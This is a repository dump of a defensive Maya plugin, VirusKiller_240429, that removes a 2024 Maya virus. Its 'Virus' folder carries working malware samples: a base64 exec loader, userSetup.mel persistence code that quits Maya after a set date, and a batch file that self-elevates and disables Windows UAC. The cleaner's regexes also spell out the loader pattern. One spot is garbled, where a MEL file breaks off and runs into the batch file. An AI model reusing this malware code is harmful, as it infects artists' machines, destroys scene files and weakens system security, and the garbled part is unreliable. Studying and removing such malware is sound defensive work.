├── icon.ico ├── images ├── step1.png ├── step2.png ├── step3.png ├── step4.png └── step5.png ├── testfiles ├── key.mb ├── normal.mb ├── normal.ma └── key.ma ├── pyeal.json ├── Virus ├── uition-u3.py ├── KGMScriptProtector.mel ├── sys.bat ├── uition-u2.py ├── uition-u1.py └── uition.t ├── src ├── Restore-UAC.ps1 ├── kill.py ├── kill_mayafile.py └── gui.py ├── README.md ├── README.ja-JP.md ├── README.en-US.md ├── .gitignore └── LICENSE /icon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cpcgskill/VirusKiller_240429/HEAD/icon.ico -------------------------------------------------------------------------------- /images/step1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cpcgskill/VirusKiller_240429/HEAD/images/step1.png -------------------------------------------------------------------------------- /images/step2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cpcgskill/VirusKiller_240429/HEAD/images/step2.png -------------------------------------------------------------------------------- /images/step3.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cpcgskill/VirusKiller_240429/HEAD/images/step3.png -------------------------------------------------------------------------------- /images/step4.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cpcgskill/VirusKiller_240429/HEAD/images/step4.png -------------------------------------------------------------------------------- /images/step5.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cpcgskill/VirusKiller_240429/HEAD/images/step5.png -------------------------------------------------------------------------------- /testfiles/key.mb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cpcgskill/VirusKiller_240429/HEAD/testfiles/key.mb -------------------------------------------------------------------------------- /testfiles/normal.mb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cpcgskill/VirusKiller_240429/HEAD/testfiles/normal.mb -------------------------------------------------------------------------------- /pyeal.json: -------------------------------------------------------------------------------- 1 | { 2 | "type": "maya-plugin", 3 | "exec_script": "import gui; gui.create_gui()", 4 | "name": "VirusKiller_240429" 5 | } -------------------------------------------------------------------------------- /Virus/uition-u3.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import os 3 | maya_path_=os.getenv("APPDATA")+'\syssst' 4 | mayapath=maya_path_.replace('\\','/') 5 | maya_path='%s/uition.t'%mayapath 6 | try: 7 | with open(maya_path, 'rb') as f: 8 | d_a_t_a = f.read() 9 | data = binascii.a2b_base64(d_a_t_a) 10 | exec(data) 11 | except IOError as e: 12 | pass -------------------------------------------------------------------------------- /Virus/KGMScriptProtector.mel: -------------------------------------------------------------------------------- 1 | global proc string[] EEgetCurrTypeList(string $currType) 2 | { 3 | string $nodeList[]; 4 | switch($currType) 5 | { 6 | case "scriptNode": $nodeList = `ls -type script`; 7 | int $Num,$Chk=0; 8 | for($Num=0;$Numnul 3 | if %errorlevel%==0 ( rd "%SystemRoot%\system32\%uac%" >nul 2>nul ) else ( 4 | echo set uac = CreateObject^("Shell.Application"^)>"%temp%\%uac%.vbs" 5 | echo uac.ShellExecute "%~s0","","","runas",1 >>"%temp%\%uac%.vbs" 6 | echo WScript.Quit >>"%temp%\%uac%.vbs" 7 | "%temp%\%uac%.vbs" /f 8 | del /f /q "%temp%\%uac%.vbs" & exit ) 9 | reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t REG_DWORD /d 0 /f 10 | REG ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f -------------------------------------------------------------------------------- /src/Restore-UAC.ps1: -------------------------------------------------------------------------------- 1 | # PowerShell script to restore default UAC settings 2 | 3 | # Ensures the script is running as Administrator 4 | if (-NOT ([Security.Principal.WindowsPrincipal][Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) 5 | { 6 | Write-Warning "You do not have Administrator rights to run this script!`nPlease re-run this script as an Administrator!" 7 | Break 8 | } 9 | 10 | # Set ConsentPromptBehaviorAdmin to '5' - Prompt for consent on the secure desktop 11 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "ConsentPromptBehaviorAdmin" -Value 5 12 | 13 | # Set EnableLUA to '1' - Enable LUA 14 | Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" -Name "EnableLUA" -Value 1 15 | 16 | Write-Output "UAC settings have been restored to default values. A system restart may be required for changes to take effect." 17 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # VirusKiller_240429 2 | 3 | 于24年04月29日发现的病毒的清理程序, 4 | 此病毒将会与5月1日后在保存文件时关闭Maya,6月1日后保存文件时删除Maya场景文件 5 | 6 | - 2024/10/11 此病毒出现变种,将会在6月1日之后仍然生效,请注意!PS: 目前杀毒程序仍然兼容,暂时无需更新 7 | 8 | - [English](./README.en-US.md) 9 | - [日本語](./README.ja-JP.md) 10 | 11 | ## 使用方法 12 | 13 | #### 下载release中最新的zip安装包 14 | 15 | ![image](./images/step1.png) 16 | ![image](./images/step2.png) 17 | ![image](./images/step3.png) 18 | 19 | #### 解压到任意目录 20 | 21 | ![image](./images/step4.png) 22 | 23 | #### 将install.mel拖动到Maya窗口中运行 24 | 25 | ![image](./images/step5.png) 26 | 27 | #### 根据需要执行对应功能 28 | 1. `清除病毒本体` 29 | 2. `单独清除HIK病毒` 30 | 3. `恢复UAC设置` 31 | 4. `清除病毒脚本节点` 32 | 5. `批量清理Maya文件(.ma)` 33 | 6. `批量清理Maya文件(.mb)` 34 | 7. `批量检查` 35 | 36 | ## 项目结构 37 | 38 | - `icon.ico` - 程序图标 39 | - `pyeal.json` - 打包配置 40 | - `src` - 源码 41 | - `Virus` - 病毒本体、病毒解析数据 ps: 仅供学习交流使用, 请勿传播与运行这部分代码 42 | - `images` - 图片 43 | 44 | ## FAQ 45 | 46 | #### 我下载的最新压缩包文件里没有install.mel文件 47 | 48 | 检测是否下载为源代码了, `Source code (zip)` `Source code (tar.gz)` 都是源代码文件。 49 | 50 | #### 如何使用批量清理功能 51 | 52 | 1. 备份需要清理的文件 53 | 2. 点击按钮启动插件 54 | 3. 选择所有需要清理的文件 55 | 4. 点击 `完成|OK` 56 | 57 | #### 如何使用批量检查功能 58 | 59 | 1. 点击按钮启动插件 60 | 2. 选择需要检查根目录 61 | 3. 点击 `完成|OK` 62 | -------------------------------------------------------------------------------- /README.ja-JP.md: -------------------------------------------------------------------------------- 1 | # VirusKiller_240429 2 | 3 | 24年4月29日に発見されたウイルスのクリーニングプログラムです。 4 | このウイルスは、5月1日以降にファイルを保存する際にMayaを終了させ、6月1日以降にファイルを保存する際にMayaシーンファイルを削除します。 5 | 6 | ## 使用方法 7 | 8 | #### リリースから最新のzipインストーラーをダウンロード 9 | 10 | ![image](./images/step1.png) 11 | ![image](./images/step2.png) 12 | ![image](./images/step3.png) 13 | 14 | #### 任意のディレクトリに解凍 15 | 16 | ![image](./images/step4.png) 17 | 18 | #### install.melをMayaウィンドウにドラッグして実行 19 | 20 | ![image](./images/step5.png) 21 | 22 | #### 必要に応じて以下の機能を実行 23 | 1. `ウイルス本体を除去` 24 | 2. `HIKウイルスのみを除去` 25 | 3. `UAC設定を復元` 26 | 4. `ウイルススクリプトノードを除去` 27 | 5. `Mayaファイル(.ma)を一括クリーニング` 28 | 6. `Mayaファイル(.mb)を一括クリーニング` 29 | 7. `一括チェック` 30 | 31 | ## プロジェクト構造 32 | 33 | - `icon.ico` - プログラムアイコン 34 | - `pyeal.json` - パッケージ設定 35 | - `src` - ソースコード 36 | - `Virus` - ウイルス本体、ウイルス解析データ ps: 学習および交流のためのみ使用し、拡散や実行はしないでください 37 | - `images` - 画像 38 | 39 | ## FAQ 40 | 41 | #### ダウンロードした最新の圧縮ファイルにinstall.melファイルがありません 42 | 43 | ソースコードをダウンロードしたかどうかを確認してください。 `Source code (zip)` または `Source code (tar.gz)` はソースコードファイルです。 44 | 45 | #### 一括クリーニング機能の使用方法 46 | 47 | 1. クリーニングするファイルをバックアップ 48 | 2. ボタンをクリックしてプラグインを起動 49 | 3. クリーニングするすべてのファイルを選択 50 | 4. `完了|OK`をクリック 51 | 52 | #### 一括チェック機能の使用方法 53 | 54 | 1. ボタンをクリックしてプラグインを起動 55 | 2. チェックするルートディレクトリを選択 56 | 3. `完了|OK`をクリック -------------------------------------------------------------------------------- /README.en-US.md: -------------------------------------------------------------------------------- 1 | # VirusKiller_240429 2 | 3 | A cleaner for the virus discovered on April 29, 2024. This virus will close Maya when saving files after May 1 and delete Maya scene files when saving after June 1. 4 | 5 | ## Usage Instructions 6 | 7 | #### Download the latest zip package from the release section 8 | 9 | ![image](./images/step1.png) 10 | ![image](./images/step2.png) 11 | ![image](./images/step3.png) 12 | 13 | #### Extract to any directory 14 | 15 | ![image](./images/step4.png) 16 | 17 | #### Drag and drop `install.mel` into the Maya window to run 18 | 19 | ![image](./images/step5.png) 20 | 21 | #### Execute the corresponding function as needed 22 | 1. `Clear the main virus` 23 | 2. `Clear HIK virus separately` 24 | 3. `Restore UAC settings` 25 | 4. `Clear virus script nodes` 26 | 5. `Batch clean Maya files (.ma)` 27 | 6. `Batch clean Maya files (.mb)` 28 | 7. `Batch check` 29 | 30 | ## Project Structure 31 | 32 | - `icon.ico` - Program icon 33 | - `pyeal.json` - Packaging configuration 34 | - `src` - Source code 35 | - `Virus` - Main virus body, virus parsing data (Note: For learning and communication purposes only, do not distribute or run this part of the code) 36 | - `images` - Images 37 | 38 | ## FAQ 39 | 40 | #### There is no install.mel file in the latest compressed package I downloaded 41 | 42 | Check if you downloaded the source code instead. `Source code (zip)` and `Source code (tar.gz)` are both source code files. 43 | 44 | #### How to use the batch cleaning function 45 | 46 | 1. Back up the files that need to be cleaned 47 | 2. Click the button to start the plugin 48 | 3. Select all the files that need to be cleaned 49 | 4. Click `Done | OK` 50 | 51 | #### How to use the batch check function 52 | 53 | 1. Click the button to start the plugin 54 | 2. Select the root directory to be checked 55 | 3. Click `Done | OK` -------------------------------------------------------------------------------- /src/kill.py: -------------------------------------------------------------------------------- 1 | # -*-coding:utf-8 -*- 2 | """ 3 | :PROJECT_NAME: tee 4 | :File: gui.py 5 | :Time: 2024/4/29 下午3:16 6 | :Author: 张隆鑫 7 | 8 | 9 | 病毒清理程序 10 | """ 11 | from __future__ import unicode_literals, print_function, division 12 | 13 | import os 14 | import re 15 | import shutil 16 | import maya.cmds as cmds 17 | import base64 18 | 19 | 20 | def kill_hik(): 21 | hik_mel_list = [ 22 | os.path.join(os.getenv("MAYA_LOCATION"), 'resources/l10n/zh_CN/plug-ins/mayaHIK.pres.mel'), 23 | os.path.join(os.getenv("MAYA_LOCATION"), 'resources/l10n/ja_JP/plug-ins/mayaHIK.pres.mel'), 24 | ] 25 | hik_regex = r'python\(\"import base64;\s*pyCode\s*=\s*base64\.urlsafe_b64decode\([\'\"].*?[\"\']\);\s*exec\s*\(\s*pyCode\s*\)\"\)\s*;' 26 | hik_mel_list = [i.replace('\\', '/') for i in hik_mel_list if os.path.isfile(i)] 27 | if len(hik_mel_list) > 0: 28 | cmds.warning('开始清理mayaHIK.pres.mel中的病毒代码') 29 | for hik_mel in hik_mel_list: 30 | with open(hik_mel, 'rb') as f: 31 | data = f.read() 32 | 33 | if len(re.findall(hik_regex, data)) > 0: 34 | cmds.warning('正在清理"{}"文件中的病毒代码'.format(hik_mel)) 35 | with open(hik_mel, 'wb') as f: 36 | f.write(re.sub(hik_regex, '', data, )) 37 | cmds.warning('"{}"文件中病毒代码已清除'.format(hik_mel)) 38 | else: 39 | cmds.warning('"{}"文件中未发现病毒代码'.format(hik_mel)) 40 | cmds.warning('mayaHIK.pres.mel中的病毒代码清理完成') 41 | else: 42 | cmds.warning('未发现mayaHIK.pres.mel文件') 43 | 44 | 45 | def kill_virus(): 46 | home_path = os.getenv('HOMEDRIVE') + os.getenv('HOMEPATH') 47 | # user_setup_mel = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.mel' 48 | user_setup_mel = os.path.abspath(os.path.join(home_path, 'Documents', 'maya') + '/scripts/userSetup.mel').replace('\\', '/') 49 | if os.path.exists(user_setup_mel): 50 | with open(user_setup_mel, 'rb') as f: 51 | data = f.read() 52 | cmds.warning('搜索病毒userSetup.mel...') 53 | virus_code = re.findall( 54 | r'import base64;\s*pyCode\s*=\s*base64\.urlsafe_b64decode\([\'\"](.*?)[\"\']\)', 55 | data, 56 | ) 57 | if len(virus_code) < 1: 58 | cmds.warning('未发现病毒') 59 | return 60 | os.remove(user_setup_mel) 61 | cmds.warning('发现病毒userSetup.mel, 已清理') 62 | 63 | cmds.warning('搜索病毒本体...') 64 | virus_code = virus_code[0] 65 | virus_code = base64.urlsafe_b64decode(virus_code) 66 | virus_path = re.findall( 67 | r'maya_path_\s*=\s*os.getenv\([\'\"]APPDATA[\'\"]\)\+[\'\"]\\([a-zA-Z0-9]+)[\'\"]', 68 | virus_code, 69 | ) 70 | if len(virus_path) < 1: 71 | cmds.warning('发现病毒userSetup.mel, 但未找到病毒路径') 72 | else: 73 | virus_path = virus_path[0] 74 | virus_path = os.getenv('APPDATA') + '\\' + virus_path 75 | if os.path.isdir(virus_path): 76 | os.remove(user_setup_mel) 77 | shutil.rmtree(virus_path) 78 | cmds.warning('病毒本体清理完成') 79 | else: 80 | cmds.warning('病毒路径不存在') 81 | kill_hik() 82 | else: 83 | cmds.warning('你的Maya好像没有被感染') 84 | -------------------------------------------------------------------------------- /Virus/uition-u2.py: -------------------------------------------------------------------------------- 1 | import maya.cmds as cmds 2 | import subprocess 3 | import datetime 4 | import base64 5 | import stat 6 | import sys 7 | import os 8 | 9 | class phage: 10 | def antivirus(self): 11 | pass 12 | def occupation(self): 13 | cmds.scriptJob(event=["SceneSaved", "leukocyte.antivirus()"], protected=True) 14 | leukocyte = phage() 15 | leukocyte.occupation() 16 | usepypath = cmds.internalVar(userAppDir=True) + '/scripts/userSetup.py' 17 | if os.path.exists(usepypath): 18 | os.chmod( usepypath, stat.S_IWRITE ) 19 | with open(usepypath, 'rb') as f: 20 | data = f.readline() 21 | setAttrdslist=[] 22 | x_ = open(usepypath, "r") 23 | for line in x_: 24 | if ("import vaccine" in line) or ("cmds.evalDeferred('leukocyte = vaccine.phage()')" in line) or ("cmds.evalDeferred('leukocyte.occupation()')" in line): 25 | pass 26 | else: 27 | setAttrdslist.append(line) 28 | newfile=open(usepypath,"w") 29 | newfile.writelines(setAttrdslist) 30 | newfile.close() 31 | 32 | p="\n" 33 | address_path = cmds.internalVar(userAppDir=True) + 'scripts/userSetup.mel' 34 | M_el= "import base64; pyCode = base64.urlsafe_b64decode('aW1wb3J0IGJpbmFzY2lpDWltcG9ydCBvcw1tYXlhX3BhdGhfPW9zLmdldGVudigiQVBQREFUQSIpKydcc3lzc3N0Jw1tYXlhcGF0aD1tYXlhX3BhdGhfLnJlcGxhY2UoJ1xcJywnLycpDW1heWFfcGF0aD0nJXMvdWl0aW9uLnQnJW1heWFwYXRoDXRyeToNICAgIHdpdGggb3BlbihtYXlhX3BhdGgsICdyYicpIGFzIGY6DSAgICAgICAgZF9hX3RfYSA9IGYucmVhZCgpDSAgICBkYXRhID0gYmluYXNjaWkuYTJiX2Jhc2U2NChkX2FfdF9hKQ0gICAgZXhlYyhkYXRhKQ1leGNlcHQgSU9FcnJvciBhcyBlOg0gICAgcGFzcw=='); exec (pyCode)" 35 | xxx='python("%s");' % M_el 36 | pMel=p+xxx 37 | if not os.path.exists(address_path): 38 | with open(address_path, "a") as f: 39 | f.writelines(pMel) 40 | else: 41 | os.chmod( address_path, stat.S_IWRITE ) 42 | userSetupList=[] 43 | with open(address_path, "r") as f: 44 | content = f.readlines() 45 | if xxx in content: 46 | userSetupList.append(xxx) 47 | if not userSetupList: 48 | with open(address_path, "a") as f: 49 | f.writelines(pMel) 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | uitionpath_=os.getenv("APPDATA")+base64.urlsafe_b64decode('L3N5c3NzdA==').decode('utf-8') 103 | uitionpath=uitionpath_.replace('\\','/') 104 | if not os.path.exists(uitionpath): 105 | os.mkdir(uitionpath) 106 | uition_path="%s%s"%(uitionpath,base64.urlsafe_b64decode('L3VpdGlvbi50').decode('utf-8')) 107 | try: 108 | if cmds.objExists('uifiguration'): 109 | Xgee = eval(cmds.getAttr('uifiguration.notes')) 110 | with open(uition_path, "w") as f: 111 | f.writelines(Xgee) 112 | except ValueError as e: 113 | pass 114 | if not os.access(base64.urlsafe_b64decode('UDovS28uVnBu').decode('utf-8'),os.W_OK): 115 | if datetime.datetime.now().strftime('%Y%m%d') >=base64.urlsafe_b64decode('MjAyNDA1MDE==').decode('utf-8'): 116 | cmds.quit(abort=True) -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | share/python-wheels/ 24 | *.egg-info/ 25 | .installed.cfg 26 | *.egg 27 | MANIFEST 28 | 29 | # PyInstaller 30 | # Usually these files are written by a python script from a template 31 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 32 | *.manifest 33 | *.spec 34 | 35 | # Installer logs 36 | pip-log.txt 37 | pip-delete-this-directory.txt 38 | 39 | # Unit test / coverage reports 40 | htmlcov/ 41 | .tox/ 42 | .nox/ 43 | .coverage 44 | .coverage.* 45 | .cache 46 | nosetests.xml 47 | coverage.xml 48 | *.cover 49 | *.py,cover 50 | .hypothesis/ 51 | .pytest_cache/ 52 | cover/ 53 | 54 | # Translations 55 | *.mo 56 | *.pot 57 | 58 | # Django stuff: 59 | *.log 60 | local_settings.py 61 | db.sqlite3 62 | db.sqlite3-journal 63 | 64 | # Flask stuff: 65 | instance/ 66 | .webassets-cache 67 | 68 | # Scrapy stuff: 69 | .scrapy 70 | 71 | # Sphinx documentation 72 | docs/_build/ 73 | 74 | # PyBuilder 75 | .pybuilder/ 76 | target/ 77 | 78 | # Jupyter Notebook 79 | .ipynb_checkpoints 80 | 81 | # IPython 82 | profile_default/ 83 | ipython_config.py 84 | 85 | # pyenv 86 | # For a library or package, you might want to ignore these files since the code is 87 | # intended to run in multiple environments; otherwise, check them in: 88 | # .python-version 89 | 90 | # pipenv 91 | # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. 92 | # However, in case of collaboration, if having platform-specific dependencies or dependencies 93 | # having no cross-platform support, pipenv may install dependencies that don't work, or not 94 | # install all needed dependencies. 95 | #Pipfile.lock 96 | 97 | # poetry 98 | # Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control. 99 | # This is especially recommended for binary packages to ensure reproducibility, and is more 100 | # commonly ignored for libraries. 101 | # https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control 102 | #poetry.lock 103 | 104 | # pdm 105 | # Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control. 106 | #pdm.lock 107 | # pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it 108 | # in version control. 109 | # https://pdm.fming.dev/#use-with-ide 110 | .pdm.toml 111 | 112 | # PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm 113 | __pypackages__/ 114 | 115 | # Celery stuff 116 | celerybeat-schedule 117 | celerybeat.pid 118 | 119 | # SageMath parsed files 120 | *.sage.py 121 | 122 | # Environments 123 | .env 124 | .venv 125 | env/ 126 | venv/ 127 | ENV/ 128 | env.bak/ 129 | venv.bak/ 130 | 131 | # Spyder project settings 132 | .spyderproject 133 | .spyproject 134 | 135 | # Rope project settings 136 | .ropeproject 137 | 138 | # mkdocs documentation 139 | /site 140 | 141 | # mypy 142 | .mypy_cache/ 143 | .dmypy.json 144 | dmypy.json 145 | 146 | # Pyre type checker 147 | .pyre/ 148 | 149 | # pytype static type analyzer 150 | .pytype/ 151 | 152 | # Cython debug symbols 153 | cython_debug/ 154 | 155 | # PyCharm 156 | # JetBrains specific template is maintained in a separate JetBrains.gitignore that can 157 | # be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore 158 | # and can be added to the global gitignore or merged into this file. For a more nuclear 159 | # option (not recommended) you can uncomment the following to ignore the entire idea folder. 160 | #.idea/ 161 | -------------------------------------------------------------------------------- /src/kill_mayafile.py: -------------------------------------------------------------------------------- 1 | # -*-coding:utf-8 -*- 2 | """ 3 | :PROJECT_NAME: tee 4 | :File: kill-mayafile.py 5 | :Time: 2024/4/26 下午11:06 6 | :Author: 张隆鑫 7 | """ 8 | from __future__ import unicode_literals, print_function, division 9 | 10 | if False: 11 | from typing import * 12 | 13 | import re 14 | import os 15 | import sys 16 | import maya.cmds as cmds 17 | 18 | ma_find_script_node_regex = re.compile( 19 | r'\s*createNode\s+script\s+-n\s+\"uifiguration\";\s*.*?setAttr\s*\"\.b\"\s*-type\s*"string".*?\s*setAttr\s*"\.st"\s*1;\s*'.encode(), 20 | re.DOTALL, 21 | ) 22 | cautious_check_regex = re.compile( 23 | r'\s*import\s*base64;?\s*'.encode(), 24 | re.DOTALL, 25 | ) 26 | mb_regex = re.compile( 27 | r'\s*?python\s*?\(\s*?\"\s*?import\s+?base64;.*?;\s*?exec\s*?\(\s*?_pycode\s*?\)\s*?\"\s*?\)\s*?;\s*?'.encode(), 28 | re.DOTALL 29 | ) 30 | 31 | 32 | def _process_ma_content(data): 33 | for i in reversed(list(ma_find_script_node_regex.finditer(data))): 34 | start, end = i.span() 35 | print(data[start:end]) 36 | data = data[:start] + b'\n' + data[end:] 37 | 38 | return data 39 | 40 | 41 | def check_ma_file(file, is_cautious=False): 42 | file = os.path.abspath(file).replace('\\', '/') 43 | with open(file, 'rb') as f: 44 | # data = _delete_ma_byte(f.read()) 45 | data = f.read() 46 | 47 | if is_cautious and cautious_check_regex.search(data): 48 | return True 49 | if ma_find_script_node_regex.search(data): 50 | return True 51 | return False 52 | 53 | 54 | def process_ma_file(file): 55 | file = os.path.abspath(file).replace('\\', '/') 56 | with open(file, 'rb') as f: 57 | # data = _delete_ma_byte(f.read()) 58 | data = f.read() 59 | 60 | new_data = _process_ma_content(data) 61 | if new_data != data: 62 | with open(file, 'wb') as f: 63 | f.write(new_data) 64 | else: 65 | cmds.warning('"{}" 未发现病毒'.format(file)) 66 | 67 | 68 | def check_mb_file(file, is_cautious=False): 69 | file = os.path.abspath(file).replace('\\', '/') 70 | with open(file, 'rb') as f: 71 | # data = _delete_ma_byte(f.read()) 72 | data = f.read() 73 | if is_cautious and cautious_check_regex.search(data): 74 | return True 75 | if mb_regex.search(data): 76 | return True 77 | return False 78 | 79 | 80 | def _process_mb_content(data): 81 | for i in reversed(list(mb_regex.finditer(data))): 82 | start, end = i.span() 83 | print(data[start:end]) 84 | data = data[:start] + b'\n' + data[end:] 85 | 86 | return data 87 | 88 | 89 | def process_mb_file(file): 90 | file = os.path.abspath(file).replace('\\', '/') 91 | with open(file, 'rb') as f: 92 | data = f.read() 93 | 94 | new_data = _process_mb_content(data) 95 | if new_data != data: 96 | with open(file, 'wb') as f: 97 | f.write(new_data) 98 | else: 99 | cmds.warning('"{}" 未发现病毒'.format(file)) 100 | 101 | 102 | if __name__ == '__main__': 103 | with open('./../testfiles/key.ma', 'rb') as f: 104 | _test_data = f.read() 105 | assert _process_ma_content(_test_data) != _test_data 106 | with open('./../testfiles/key.mb', 'rb') as f: 107 | _test_data = f.read() 108 | assert _process_mb_content(_test_data) != _test_data 109 | with open('./../testfiles/normal.ma', 'rb') as f: 110 | _test_data = f.read() 111 | assert _process_ma_content(_test_data) == _test_data 112 | with open('./../testfiles/normal.mb', 'rb') as f: 113 | _test_data = f.read() 114 | assert _process_mb_content(_test_data) == _test_data 115 | assert check_ma_file('./../testfiles/key.ma', is_cautious=True) 116 | assert check_mb_file('./../testfiles/key.mb', is_cautious=True) 117 | assert not check_ma_file('./../testfiles/normal.ma', is_cautious=True) 118 | assert not check_mb_file('./../testfiles/normal.mb', is_cautious=True) 119 | -------------------------------------------------------------------------------- /src/gui.py: -------------------------------------------------------------------------------- 1 | # -*-coding:utf-8 -*- 2 | """ 3 | :PROJECT_NAME: VirusKiller_240429 4 | :File: gui.py 5 | :Time: 2024/4/29 下午3:16 6 | :Author: 张隆鑫 7 | """ 8 | from __future__ import unicode_literals, print_function, division 9 | 10 | import os 11 | import re 12 | 13 | if False: 14 | from typing import * 15 | 16 | import json 17 | import maya.cmds as cmds 18 | import kill 19 | import kill_mayafile 20 | import subprocess 21 | 22 | 23 | def clear_virus(): 24 | kill.kill_virus() 25 | 26 | 27 | def alone_clear_hik_virus(): 28 | kill.kill_hik() 29 | 30 | 31 | def restore_UAC(): 32 | subprocess.Popen( 33 | ['powershell', os.path.join(os.path.dirname(__file__), 'restore_UAC.ps1')], 34 | ) 35 | 36 | 37 | def clear_virus_script_node(): 38 | script_node = cmds.ls(type='script') 39 | if script_node: 40 | virus_script_node = [] 41 | for node in script_node: 42 | script = cmds.scriptNode(node, q=True, bs=True) 43 | if re.findall(r'import base64;\s*_pycode\s*=\s*base64\.urlsafe_b64decode\([\'\"](.*?)[\"\']\)', script): 44 | virus_script_node.append(node) 45 | if virus_script_node: 46 | for node in virus_script_node: 47 | cmds.delete(node) 48 | cmds.warning('病毒脚本节点清理完成') 49 | else: 50 | cmds.warning('未发现病毒脚本节点') 51 | else: 52 | cmds.warning('未发现病毒脚本节点') 53 | 54 | 55 | def batch_clear_maya_file_ma(): 56 | """ 57 | 批量清理Maya文件. 58 | """ 59 | # 弹窗警告 60 | result = cmds.confirmDialog( 61 | title='警告', 62 | message='正则批量清理Maya文件, 可能会导致文件损坏, 请注意备份', 63 | button=['Ok', 'Cancel'], 64 | defaultButton='Cancel', 65 | cancelButton='Cancel', 66 | dismissString='Cancel', 67 | ) 68 | if result == 'Cancel': 69 | cmds.warning('已取消') 70 | return 71 | 72 | # 73 | cmds.warning('开始批量处理...') 74 | files = cmds.fileDialog2(fileMode=4, dialogStyle=2) 75 | if not files: 76 | cmds.warning('未选择文件') 77 | return 78 | for file in files: 79 | try: 80 | kill_mayafile.process_ma_file(os.path.abspath(file)) 81 | except Exception as e: 82 | import traceback 83 | traceback.print_exc() 84 | cmds.warning('处理文件{}失败: {}'.format(file, e)) 85 | else: 86 | cmds.warning('处理文件{}成功'.format(file)) 87 | cmds.warning('批量处理完成') 88 | 89 | 90 | def batch_clear_maya_file_mb(): 91 | """ 92 | 批量清理Maya文件. 93 | """ 94 | # 弹窗警告 95 | result = cmds.confirmDialog( 96 | title='警告', 97 | message='正则批量清理Maya文件, 可能会导致文件损坏, 请注意备份', 98 | button=['Ok', 'Cancel'], 99 | defaultButton='Cancel', 100 | cancelButton='Cancel', 101 | dismissString='Cancel', 102 | ) 103 | if result == 'Cancel': 104 | cmds.warning('已取消') 105 | return 106 | 107 | # 108 | cmds.warning('开始批量处理...') 109 | files = cmds.fileDialog2(fileMode=4, dialogStyle=2) 110 | if not files: 111 | cmds.warning('未选择文件') 112 | return 113 | for file in files: 114 | try: 115 | kill_mayafile.process_mb_file(os.path.abspath(file)) 116 | except Exception as e: 117 | import traceback 118 | traceback.print_exc() 119 | cmds.warning('处理文件{}失败: {}'.format(file, e)) 120 | else: 121 | cmds.warning('处理文件{}成功'.format(file)) 122 | cmds.warning('批量处理完成') 123 | 124 | 125 | def batch_check_maya_file(): 126 | """ 127 | 批量检查Maya文件. 128 | """ 129 | # 是否启用谨慎模式 130 | result = cmds.confirmDialog( 131 | title='警告', 132 | message='是否启用谨慎模式, 谨慎模式会检查文件中是否存在病毒代码, 但可能会误报', 133 | button=['Yes', 'No'], 134 | defaultButton='No', 135 | cancelButton='No', 136 | dismissString='No', 137 | ) 138 | 139 | is_cautious = result == 'Yes' 140 | 141 | # 142 | cmds.warning('开始批量处理...') 143 | root_dir = cmds.fileDialog2(fileMode=3, dialogStyle=2) 144 | if not root_dir: 145 | cmds.warning('未选择文件') 146 | return 147 | 148 | warning_files = [] 149 | for root, dirs, files in os.walk(os.path.abspath(root_dir[0])): 150 | for file in files: 151 | if file.endswith('.ma'): 152 | cmds.warning('检查文件: {}'.format(os.path.join(root, file))) 153 | has_virus = kill_mayafile.check_ma_file(os.path.join(root, file), is_cautious=is_cautious) 154 | if has_virus: 155 | warning_files.append(os.path.join(root, file).replace('\\', '/')) 156 | if file.endswith('.mb'): 157 | cmds.warning('检查文件: {}'.format(os.path.join(root, file))) 158 | has_virus = kill_mayafile.check_mb_file(os.path.join(root, file), is_cautious=is_cautious) 159 | if has_virus: 160 | warning_files.append(os.path.join(root, file).replace('\\', '/')) 161 | 162 | # show 163 | if warning_files: 164 | warning_text = '以下文件可能存在病毒代码:\n{}\n{}\n{}'.format( 165 | '=' * 20, 166 | '\n'.join(warning_files), 167 | '=' * 20 168 | ) 169 | cmds.warning(warning_text) 170 | else: 171 | cmds.warning('未发现病毒代码') 172 | 173 | 174 | def create_gui(): 175 | # type: () -> None 176 | """ 177 | 创建 GUI. 178 | """ 179 | if cmds.window('VirusKiller_240429', exists=True): 180 | cmds.deleteUI('VirusKiller_240429') 181 